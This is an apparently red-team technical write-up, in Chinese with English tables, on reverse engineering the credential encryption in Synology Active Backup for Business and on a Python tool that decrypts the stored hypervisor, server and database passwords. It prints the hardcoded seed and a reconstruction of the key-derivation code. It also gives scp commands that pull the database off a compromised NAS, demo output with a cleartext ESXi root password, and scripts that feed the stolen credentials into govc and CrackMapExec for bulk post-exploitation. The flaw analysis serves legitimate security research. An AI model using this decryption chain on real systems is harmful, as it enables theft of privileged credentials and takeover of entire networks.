Overview
在一次内网渗透项目中,我们在目标内部网络中发现了一台 Synology DS920+ NAS,运行着 Active Backup for Business(以下简称 ABB)服务。ABB 是 Synology 推出的企业级集中化备份方案,支持对 VMware ESXi、Microsoft Hyper-V、Windows/Linux 物理服务器、文件服务器以及其他 Synology DSM 设备进行无 Agent 统一备份。”无 Agent” 的实现方式意味着 ABB 必须直接持有每个备份目标的特权远程访问凭据——这些凭据被加密存储在 NAS 本地的一个 SQLite 数据库 config.db 中。
拿到 NAS 的 shell 之后,我们顺理成章地想到:如果能够逆向 ABB 的加密方案并实现离线解密,就可以一次性获取其管理的所有服务器、Hypervisor 和数据库的特权凭据——从一台 NAS 的沦陷直接跳跃到整个基础设施的完全控制。
经过对 ABB 核心共享库 libsynoabk.so.1 的逆向分析,我们发现其加密方案存在多处致命设计缺陷:硬编码种子、确定性密钥派生、无盐、无拉伸、静态 IV。这些缺陷使得解密过程可以完全离线完成且瞬间出结果。我们将完整的解密逻辑实现为工具 Synology-Inventory-Decryptor,本文将详细记录从逆向分析到工具实现的完整过程。
Why This Matters
Synology NAS 在企业环境中的部署极为普遍。在我们的渗透测试经验中,几乎每个中大型企业内网都存在至少一台 Synology NAS,且相当比例的设备运行着 ABB 进行集中备份管理。这类设备往往被 IT 部门视为”基础设施”而非”安全敏感目标”,在网络分区、访问控制和漏洞管理上得到的关注远少于域控或 Web 服务器。
然而,运行 ABB 的 NAS 本质上是一座凭据金矿。ABB 要求对每个备份目标拥有特权访问权限,因此其 config.db 集中存储了:
- Hypervisor root 凭据 — ESXi
root、vCenter admin、Hyper-V admin、SCVMM - 服务器 OS 凭据 — 每台被备份 Windows/Linux 服务器的 Domain Admin 或本地管理员账户
- 数据库凭据 — MSSQL
sa、OracleSYSDBA或应用级账户 - DSM 管理凭据 — 备份拓扑中其他 Synology NAS 的管理员账户
A single compromised Synology NAS can hand you the keys to the entire infrastructure.
Credential Value Matrix
| Credential Type | What You Get | Offensive Impact |
|---|---|---|
| ESXi root | Full hypervisor control | Snapshot VMs, extract memory, implant backdoors, access all guest VMs |
| vCenter admin | Centralized management of all ESXi hosts | Entire virtualization infrastructure — move/clone/snapshot any VM |
| Hyper-V admin | Windows hypervisor control | Access all Hyper-V guest VMs, pivot to AD if joined |
| Server login (Windows) | Often Domain Admin or local admin | Lateral movement, DCSync, credential harvesting, ransomware staging |
| Server login (Linux) | Root or sudo-capable accounts | SSH pivot, data exfiltration, persistence |
| MSSQL credentials | Database admin access | Data theft, xp_cmdshell → OS command execution, linked server pivoting |
| Oracle credentials | Database admin access | Data theft, Java/OS command execution via DB features |
| DSM admin | Other Synology NAS devices | Chain to additional NAS → more ABB instances → more credentials |
Attack Scenarios
从攻击者视角看,获取 config.db 有以下几条路径:
Scenario 1: NAS Compromise → Full Infrastructure Takeover
最直接的路径。通过 SSH 弱口令、Web UI 漏洞(DSM 历史上有多个已知 CVE)或社工获取 NAS shell 后直接读取 config.db。从 NAS 沦陷到获得所有 ESXi root 密码可能只需要几秒钟。在我们的实际项目中,这也是最常见的利用路径。
Scenario 2: Backup File Exfiltration
攻击者窃取 NAS 自身的 .abb 备份文件(如存储在异地 NFS 的灾备副本),从备份镜像中提取 config.db。这条路径完全不需要触碰 NAS 本身——许多企业的异地备份副本存储在安全策略更松的位置。
Scenario 3: Shared Storage / Misconfigured Permissions
企业 NAS 通过 SMB/NFS 对外共享了 /volume1/ 或相关目录,攻击者在内网中直接通过网络挂载读取 config.db。我们在渗透测试中遇到过多次这种配置:NAS 管理员为方便运维,将整个 volume 以过宽的权限共享。
Scenario 4: Lateral Movement Pivot
从低权限立足点(如钓鱼获得的普通域用户)出发,利用 Synology 默认口令(admin:admin 或空密码在老版本 DSM 上仍能遇到)或已知 CVE 进入 NAS,再通过 ABB 凭据提权至 Domain Admin / vCenter Admin。这条路径将一个低价值的初始访问转化为完整的基础设施控制权。
Target File Locations
在安装了 ABB 的 Synology NAS(DSM 6.x / 7.x)上,我们关注两个文件:
| File | Path |
|---|---|
config.db | /var/packages/ActiveBackup/target/etc/setting/config.db |
libsynoabk.so.1 | /var/packages/ActiveBackup/target/usr/lib/libsynoabk.so.1 |
需要注意的是,config.db 是一个标准的 SQLite 3 数据库,没有任何数据库级别的加密保护(没有使用 SQLCipher 或类似方案)。用 sqlite3 即可直接打开查看表结构和密文字段。更值得注意的是,auth_user、login_user 等用户名字段是明文存储的——仅密码字段经过加密。这意味着即使在不解密的情况下,攻击者也能从数据库中直接获取完整的网络拓扑信息(主机名、IP、端口)和所有目标账户的用户名。
拿到 NAS shell 后的完整操作流程:
1
2
3
4
# Copy both files for offline decryption
scp root@nas:/var/packages/ActiveBackup/target/etc/setting/config.db .
scp root@nas:/var/packages/ActiveBackup/target/usr/lib/libsynoabk.so.1 .
python decrypt.py --so libsynoabk.so.1 config.db
Reverse Engineering
在拿到 libsynoabk.so.1 后,我们使用 IDA Pro 对其进行了逆向分析。这是一个 x86_64 ELF 共享库,stripped 但保留了部分符号信息。我们的目标是找到密码加密/解密函数并还原其完整逻辑。
Locating the Encryption Function
定位加密函数的切入点是字符串搜索。在 Strings 窗口中搜索与密码学相关的关键词,我们注意到 "Allocate cipher failed" 这个错误提示字符串——这很可能来自加密/解密操作的错误处理路径。通过交叉引用追踪该字符串的引用方(Xref),我们最终定位到了位于 offset ~0x187830 的核心加密函数。
该函数的调用链大致如下:数据库写入逻辑 → 参数校验 → 密钥派生 → AES 加密 → Base64 编码 → 返回密文字符串。在 IDA 的反编译视图中,我们可以清晰地看到整个流程是一个线性的串行调用链。
Identifying the Hardcoded Seed
在加密函数内部,我们发现了一处对 .rodata 段数据的直接引用——一个 32 字节的 hex 字符串被 lea 指令加载到寄存器中作为后续函数的参数。通过在 Hex View 中查看该地址附近的数据,确认这就是硬编码的加密种子。它与 "Allocate cipher failed" 字符串在 .rodata 段中相距不远(约 2048 字节范围内),这个空间关系后来被我们用于工具中的自动提取逻辑。
Tracing the Crypto Chain
从种子被加载开始,我们逐步追踪了后续的所有操作:种子首先传入一个复杂的变换函数(后来确认是修改版 RC4-KSA),其输出传入 base64_encode,然后传入一个明显是 EVP_BytesToKey 的实现(通过 MD5 迭代模式识别),最后调用 AES-CBC 加密。整个链路的每一步都没有引入任何随机因素——这是最关键的发现。
0. Encryption Chain Overview
逆向还原后的完整加密方案是一个五阶段的串行流程。每个阶段都存在可利用的弱点:
这个加密链最致命的问题在于:所有阶段都是确定性的(ALL DETERMINISTIC) —— same seed = same key across all devices。不存在随机盐、不存在 per-device 密钥派生、不存在 per-record IV。同一版本的 ABB 在全球所有安装实例上使用完全相同的加密密钥。
换言之,这套加密方案的安全性完全依赖于算法的保密性而非密钥的保密性——这是密码学设计的大忌。接下来逐一分析各阶段的实现细节。
1. Hardcoded Seed (The Root Weakness)
加密链的源头是一个 32 字节的小写十六进制字符串,以明文形式硬编码在 libsynoabk.so.1 的 .rodata(只读数据)段中:
1
5fed151ed24021f9fd689f18c7b0434c
这个种子在所有已知 ABB 版本的安装实例中完全相同。我们对多个版本(从 2.1.x 到 2.6.x)的 libsynoabk.so.1 进行了比对,种子值始终未变。它的提取方式有多种:
1
2
3
4
5
6
7
8
# Method 1 — direct string search
strings libsynoabk.so.1 | grep -E '^[0-9a-f]{32}$'
# Method 2 — auto-extract with our tool
python decrypt.py --so libsynoabk.so.1 config.db
# Method 3 — use the known default seed directly
python decrypt.py config.db
在逆向过程中,种子的定位依赖于前文提到的锚点字符串 "Allocate cipher failed"。在 .rodata 段中,种子位于该锚点之后 2048 字节的窗口内,匹配模式为 \x00[0-9a-f]{32}\x00(两侧被 null 字节包围)。我们在工具的自动提取逻辑中复用了这一定位策略,并加入了字符多样性检查(unique chars >= 8)以过滤误报。
这是整个加密方案最根本的弱点——密钥硬编码意味着逆向一次即可解密任意设备上的所有凭据。对于 Synology 来说,这相当于将保险箱的钥匙焊在了保险箱的外壳上。
2. Custom Substitution Cipher (Modified RC4-KSA)
种子不直接用作密钥,而是先经过一层自定义的置换密码变换。逆向分析表明,这个算法的骨架模仿了 RC4 的 Key Scheduling Algorithm (KSA)——存在一个 256 字节的 S-box、有 key-dependent 的 swap 操作、有累加器参与索引计算。但 Synology 的开发者对其做了若干修改,可能是一种试图增加逆向难度的 obscurity 手段。
需要强调的是,无论这层变换多么复杂,它仍然是确定性的——固定输入产生固定输出。它只增加了”理解算法”的难度,但不增加”破解密文”的难度。一旦变换逻辑被还原(如本节所做的),它就退化为一个 no-op。
2.1 Build S-box and U-box
算法的第一阶段是构建两个 256 字节的置换表(S-box 和 U-box)。初始状态下 sbox 为恒等置换(identity permutation),ubox 全零。累加器 acc 的初始值为 0x245——一个硬编码的 magic number:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Phase A — Build permutation tables
sbox = list(range(256)) # identity permutation
ubox = [0] * 256
acc = 0x245 # magic initial accumulator
for i in range(255, -1, -1): # reverse iteration (255 -> 0)
key_byte = seed[(255 - i) % seed_len]
# Signed extension: treat byte > 127 as negative
acc += (key_byte - 256) if key_byte > 127 else key_byte
target = acc & 0xFF
ubox[i] = target
ubox[target] = i # bidirectional mapping
sbox[i], sbox[target] = sbox[target], sbox[i] # RC4-KSA-like swap
与标准 RC4-KSA 的关键差异有三处:
- 迭代方向:255→0 反向迭代,而非标准 RC4 的 0→255 正向
- 累加器初始值:
0x245(十进制 581),标准 RC4 的累加器从 0 开始 - 有符号字节扩展:大于 127 的字节在参与累加前被减去 256(视为有符号数),标准 RC4 不做此处理
此外,标准 RC4-KSA 只维护一个 S-box,而这里额外引入了 U-box 作为双向映射表。U-box 在标准 RC4 中没有对应物——它在后续的逐字节变换中被用作额外的查找层。
这些修改使算法在静态分析时看起来”不同于已知算法”,但从密码学安全性角度看毫无意义——它们不引入任何额外的熵源或不可预测性。
2.2 Build Inverse T-box
第二阶段构建 S-box 的逆置换表 T-box:
1
2
3
4
# Phase B — Build inverse table
tbox = [0] * 256
for i in range(256):
tbox[sbox[i]] = i # tbox = inverse permutation of sbox
tbox 满足性质 tbox[sbox[x]] = x,即对 S-box 的任意正向映射,T-box 都能逆向还原。这个逆置换表在下一步的逐字节变换中用于反向查找操作。
2.3 Per-byte Transformation
第三阶段对种子的每个字节逐一进行非线性变换。这是整个置换密码中最复杂的部分——每个字节要经过三次查表和四次算术运算:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Phase C — Transform each seed byte
offset_d, offset_s = 0, 0
for pos in range(seed_len):
val = (seed[pos] + offset_d) & 0xFF
mixed = (sbox[val] + offset_s) & 0xFF
uval = ubox[mixed]
adjusted = ((uval - 256 if uval > 127 else uval) - offset_s) & 0xFF
tval = tbox[adjusted]
output[pos] = ((tval - 256 if tval > 127 else tval) - offset_d) & 0xFF
offset_d += 1
if offset_d == 256:
offset_s += 1
offset_d = 0
if offset_s == 256:
offset_s = 0
数据流可以展开为:
1
2
3
4
5
6
7
8
9
input_byte
→ (+offset_d) & 0xFF add positional offset
→ sbox[...] S-box forward lookup
→ (+offset_s) & 0xFF add outer offset
→ ubox[...] U-box lookup
→ signed() - offset_s) & 0xFF signed subtract of outer offset
→ tbox[...] T-box inverse lookup
→ signed() - offset_d) & 0xFF signed subtract of positional offset
→ output_byte
两个计数器 offset_d(内层)和 offset_s(外层)引入位置依赖性。offset_d 每处理一个字节递增 1,满 256 后 offset_s 递增 1、offset_d 重置为 0。这构成一个 256×256 = 65536 字节的变换周期。对于我们的 32 字节种子,前 32 个位置各自使用不同的 offset_d 值(0..31),offset_s 始终为 0。
虽然流程看起来相当复杂——三张查找表交替使用、有符号扩展穿插其中——但核心问题不变:所有查找表都是从固定种子在 Phase A 确定性构建的,两个计数器也是可预测的线性递增。整个变换仍然是 seed 的纯函数。But it’s still fully deterministic — same input always produces same output.
3. Base64 Encoding
置换密码的 32 字节二进制输出经过标准 Base64 编码,生成一个 44 字符的 ASCII passphrase:
1
passphrase = base64.b64encode(transform_seed(seed)) # 32 bytes → 44 chars
这一步是纯编码转换,没有密码学意义。目的是将二进制数据转为可打印字符串,以适配下一步 OpenSSL EVP_BytesToKey 对字符串类型输入的接口期望。Base64 编码不增加任何熵,也不提供任何保护——它只是一个格式适配层。
4. EVP_BytesToKey (Weak Key Derivation)
passphrase 通过 OpenSSL 的 EVP_BytesToKey 函数派生出最终的 AES 密钥和初始化向量。这个函数在 OpenSSL 自己的文档中都已被标记为 deprecated,官方建议使用 PBKDF2 替代。ABB 的调用参数为:
- 算法:AES-256-CBC
- 摘要:MD5
- Salt:NULL(无盐)
- 迭代次数:1(无拉伸)
派生过程如下:
1
2
3
4
5
6
D1 = MD5(passphrase) -> 16 bytes
D2 = MD5(D1 + passphrase) -> 16 bytes
D3 = MD5(D2 + passphrase) -> 16 bytes
AES Key = D1 + D2 -> 32 bytes (256-bit)
AES IV = D3 -> 16 bytes (128-bit)
No salt, no stretching — the key is a pure function of the seed.
这个密钥派生方案存在两个严重问题:
第一,无盐(no salt)意味着密钥派生是 passphrase 的纯函数——同一个 passphrase 在任何设备上、任何时间点、对任何记录都会派生出完全相同的 key 和 IV。不存在 per-device 或 per-record 的差异化因素。所有使用同一版本 ABB 的设备共享同一对 key/IV。
第二,无拉伸(no stretching)意味着仅 1 次 MD5 迭代即完成密钥生成。MD5 本身的计算开销在现代硬件上约为纳秒级,完全不构成暴力破解的计算门槛。作为对比,NIST 当前建议的 PBKDF2 最低迭代次数为 600,000 次(SP 800-132),Argon2 还额外引入了内存硬度以对抗 GPU/ASIC 加速攻击。ABB 使用的 EVP_BytesToKey 在 2020 年代的安全标准下完全不可接受。
5. AES-256-CBC
最终的加密使用 AES-256-CBC 配合 PKCS#7 填充。整个加密/解密流程如下:
1
2
3
4
5
6
7
8
9
10
# Encryption (as implemented inside ABB)
ciphertext = AES-256-CBC-Encrypt(key, iv, PKCS7_pad(plaintext))
stored = base64_encode(ciphertext) # -> written to the auth_password field in config.db
# Decryption (as implemented by our tool)
ciphertext = base64_decode(stored_value)
padded = AES-256-CBC-Decrypt(key, iv, ciphertext)
# PKCS#7 unpadding: validate padded[-1] (1..16) and confirm the last N bytes all equal N
pad_len = padded[-1]
plaintext = padded[:-pad_len]
AES-256-CBC 本身是一个成熟的强加密算法,问题不在算法本身,而在于其使用方式。由于 IV 是从固定 passphrase 静态派生的(而非每条记录随机生成),相同的明文密码在数据库中会产生完全相同的密文。
这带来一个有意思的副效果:在解密之前,攻击者就能通过比较 auth_password 字段的密文值来判断哪些主机使用了相同密码。The static IV means identical passwords produce identical ciphertexts——密码复用在密文层面直接可观察。在我们的测试环境中,7 台 ESXi 主机的密文完全一致,无需解密就能确认它们共享同一个 root 密码。
完整的解密数据流如下图所示,左侧为密钥派生链(从种子到 key+IV),右侧为密文解密链(从数据库到明文密码):
Security Weaknesses
整个加密方案的安全弱点汇总如下:
| Weakness | Impact | Exploitation |
|---|---|---|
| Hardcoded seed | Same key across all devices with same ABB version | Know the seed once → decrypt any installation |
| No per-device salt | Key derivation is fully deterministic | No need to extract seed from target — default works |
| No key stretching | MD5 × 1 iteration | Instant key derivation, no computational barrier |
| Static IV | Identical passwords → identical ciphertexts | Password reuse is visible in the database |
Seed in .rodata | Trivially extractable | strings on the .so file is sufficient |
| SQLite plaintext DB | No database-level encryption | Direct file read, no authentication needed |
从密码学角度看,这套方案违反了 Kerckhoffs’s principle——其安全性完全建立在”攻击者不知道算法实现细节”的假设上,而非建立在密钥的保密性上。这是典型的 security by obscurity。一旦加密逻辑被逆向还原(正如本文所做的),整条防线彻底坍塌。AES-256 本身的 256-bit 密钥空间毫无意义,因为密钥根本不需要暴力搜索——它就写在 .rodata 里。
Database Schema
config.db 中与凭据相关的有两张核心表。理解其结构有助于在没有工具的情况下手动提取和验证数据。
inventory_table — Hypervisor Credentials
存储 Hypervisor 类备份目标(ESXi、vCenter、Hyper-V、SCVMM、Failover Cluster)的连接信息和认证凭据:
| Column | Description |
|---|---|
inventory_id | Unique ID |
host_type | 1=ESXi, 2=vCenter, 3=Hyper-V, 4=SCVMM, 5=FailoverCluster |
host_name | Hostname |
host_addr | IP address |
port_webapi | API port (typically 443) |
auth_user | Username (plaintext) |
auth_password | Password (Base64-encoded AES ciphertext) |
protocol | Connection protocol |
device_table — Device Credentials
存储物理服务器、文件服务器和 DSM 设备的备份凭据。每条记录可同时包含三组独立的凭据对(OS 登录、MSSQL、Oracle):
| Column | Description |
|---|---|
device_id | Unique ID |
backup_type | 1=VM, 2=Physical Server, 3=File Server, 4=DSM |
host_name / host_ip | Target identification |
host_port | Connection port |
os_name | Operating system identifier |
login_user / login_password | OS login credentials |
mssql_user / mssql_password | MSSQL database credentials |
oracle_user / oracle_password | Oracle database credentials |
一条 device_table 记录最多可包含 3 组凭据。在实际环境中,Windows 服务器通常同时存储 login_*(Windows 管理员)和 mssql_*(SQL Server SA)两组,Linux 服务器通常只有 login_* 一组。
值得注意的是,所有 *_user 字段均为明文存储——攻击者无需解密就能获取完整的目标主机列表、网络拓扑(IP/端口)以及所有账户的用户名,这些信息本身就具有高价值的侦察意义。
Implementation
基于以上逆向分析,我们将完整解密逻辑实现为单文件 Python 工具 decrypt.py。
Requirements
- Python >= 3.10(使用了
X | Yunion 类型语法) cryptography >= 3.0
1
pip install cryptography
Architecture
选择单文件设计是为了渗透测试场景下的便携性——拷贝一个 .py 文件比部署完整 Python 包方便得多,也便于在受限环境中快速部署。工具内部按功能划分为四个区块:
Crypto — 实现完整加密链的逆向。transform_seed() 执行自定义置换密码变换,内部包含 S-box/U-box 构建、T-box 逆置换生成和逐字节变换三个阶段。derive_passphrase() 完成 Base64 编码。_evp_bytes_to_key() 复现 OpenSSL 的 MD5 迭代密钥派生。decrypt_password() 执行最终的 AES-256-CBC 解密和 PKCS#7 去填充,并对填充字节进行合法性验证(防止解密错误时产生误导性输出)。
Seed Extractor — 从 libsynoabk.so.1 自动提取种子的逻辑。利用 "Allocate cipher failed" 作为锚点字符串,在其后 2048 字节窗口内用正则 \x00([0-9a-f]{32})\x00 搜索候选种子,并通过字符多样性验证(unique chars >= 8)过滤 .rodata 中的其他 hex 字符串误报。这个设计使工具能够自动适配未来可能变更种子值的 ABB 新版本,而不必硬编码一个种子列表。
Database — 通过 Python 标准库 sqlite3 解析 config.db。使用 has_table() 预检目标表是否存在(某些版本可能缺少 device_table),然后分别从 inventory_table 和 device_table 提取记录。对 device_table 的每条记录依次检查 login、mssql、oracle 三组凭据字段,逐一解密非空密码字段。
CLI — 提供三种输出格式和灵活的参数组合。_resolve_seed() 实现种子来源的优先级逻辑:命令行 --seed 参数优先;其次尝试从 --so 指定的文件中自动提取;最后 fallback 到内置默认种子值。输出格式支持人类可读的对齐表格(默认)、JSON(便于脚本处理)和 CSV(便于导入电子表格或管道处理)。
Usage
1
2
3
4
python decrypt.py [-h] [--so PATH] [--seed HEX]
[--table {inventory,device,all}]
[--format {table,json,csv}] [--version]
db
Quick Start
三种方式指定种子,覆盖不同场景:
1
2
3
4
5
6
7
8
# Fastest — use built-in default seed (for known versions, no .so file needed)
python decrypt.py config.db
# Auto-extract seed from the .so binary (for unknown/new versions, self-adapting)
python decrypt.py --so libsynoabk.so.1 config.db
# Manually specify seed (when the seed was obtained by other means)
python decrypt.py --seed 5fed151ed24021f9fd689f18c7b0434c config.db
Output Formats
1
2
3
4
5
6
7
8
# Human-readable table (default) — quick review during an engagement
python decrypt.py config.db
# JSON — for scripting and further processing
python decrypt.py --format json config.db
# CSV — pipe-friendly, import to spreadsheet
python decrypt.py --format csv config.db > creds.csv
Filter by Table
1
2
3
4
5
# Hypervisors only (ESXi, vCenter, Hyper-V)
python decrypt.py --table inventory config.db
# Devices only (servers, VMs, DSM)
python decrypt.py --table device config.db
One-Liner (On Target)
从获取文件到解密凭据的完整流程:
1
2
3
scp root@nas:/var/packages/ActiveBackup/target/etc/setting/config.db .
scp root@nas:/var/packages/ActiveBackup/target/usr/lib/libsynoabk.so.1 .
python decrypt.py --so libsynoabk.so.1 config.db
Demo
对测试环境中一台生产 NAS 导出的 config.db 运行工具。从获取文件到获得全部明文密码,整个过程不到一秒:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python decrypt.py --so libsynoabk.so.1 config.db
[*] Extracted seed from libsynoabk.so.1: 5fed151ed24021f9fd689f18c7b0434c
=== Inventory (Hypervisors) ===
ID Type Host Address Port User Password
---------------------------------------------------------------------------------------
1 ESXi esxi-prod-01 10.x.x.11 443 root Vmw@re-R00t!2024
2 ESXi esxi-prod-02 10.x.x.12 443 root Vmw@re-R00t!2024
3 ESXi esxi-prod-03 10.x.x.13 443 root Vmw@re-R00t!2024
4 ESXi esxi-prod-04 10.x.x.14 443 root Vmw@re-R00t!2024
5 ESXi esxi-dev-01 10.x.x.15 443 root Vmw@re-R00t!2024
6 ESXi esxi-dev-02 10.x.x.16 443 root Vmw@re-R00t!2024
7 ESXi esxi-mgmt-01 10.x.x.17 443 root Vmw@re-R00t!2024
=== Devices ===
(15 devices, none with stored credentials)
7 台 ESXi 主机的 root 凭据被完整解出,另有 15 台设备(VM 级别的 agentless 备份)未存储独立凭据。
在这个环境中,所有 7 台 ESXi 使用了相同的 root 密码——这一事实在密文层面即可直接确认(静态 IV 导致相同密码的密文完全一致),无需解密就能识别密码复用。这类配置在实际企业环境中非常常见——管理员倾向于对同类设备使用统一口令以降低管理复杂度。
JSON 输出格式便于集成到自动化攻击链中:
1
2
3
4
5
6
# Extract IP and credentials for every ESXi host, then feed them to govc for bulk post-exploitation
python decrypt.py --format json --table inventory config.db | \
jq -r '.inventory[] | "\(.host_addr) \(.username) \(.password)"' | \
while read addr user pass; do
govc about -u "https://${user}:${pass}@${addr}/sdk"
done
CSV 格式适合导入电子表格进行资产整理,或作为其他工具(如 CrackMapExec、Impacket)的输入:
1
2
3
4
# Export to CSV and extract Windows server credentials for CrackMapExec
python decrypt.py --format csv --table device config.db | \
grep "Physical Server:login" | \
cut -d',' -f6,7,8 > server_creds.csv
Disclaimer
This tool is provided for authorized penetration testing, red team operations, incident response, and security research only. Use it exclusively on systems you own or have explicit written authorization to test. Unauthorized access to computer systems and data is a criminal offense.
References
Synology Active Backup for Business — Official Documentation
OpenSSL EVP_BytesToKey — Key Derivation Function (deprecated)
RC4 — Key-Scheduling Algorithm (Wikipedia)
Kerckhoffs’s Principle (Wikipedia)
NIST SP 800-132 — Recommendation for Password-Based Key Derivation
CWE-321: Use of Hard-coded Cryptographic Key
CWE-329: Not Using an Unpredictable IV with CBC Mode
CWE-916: Use of Password Hash With Insufficient Computational Effort


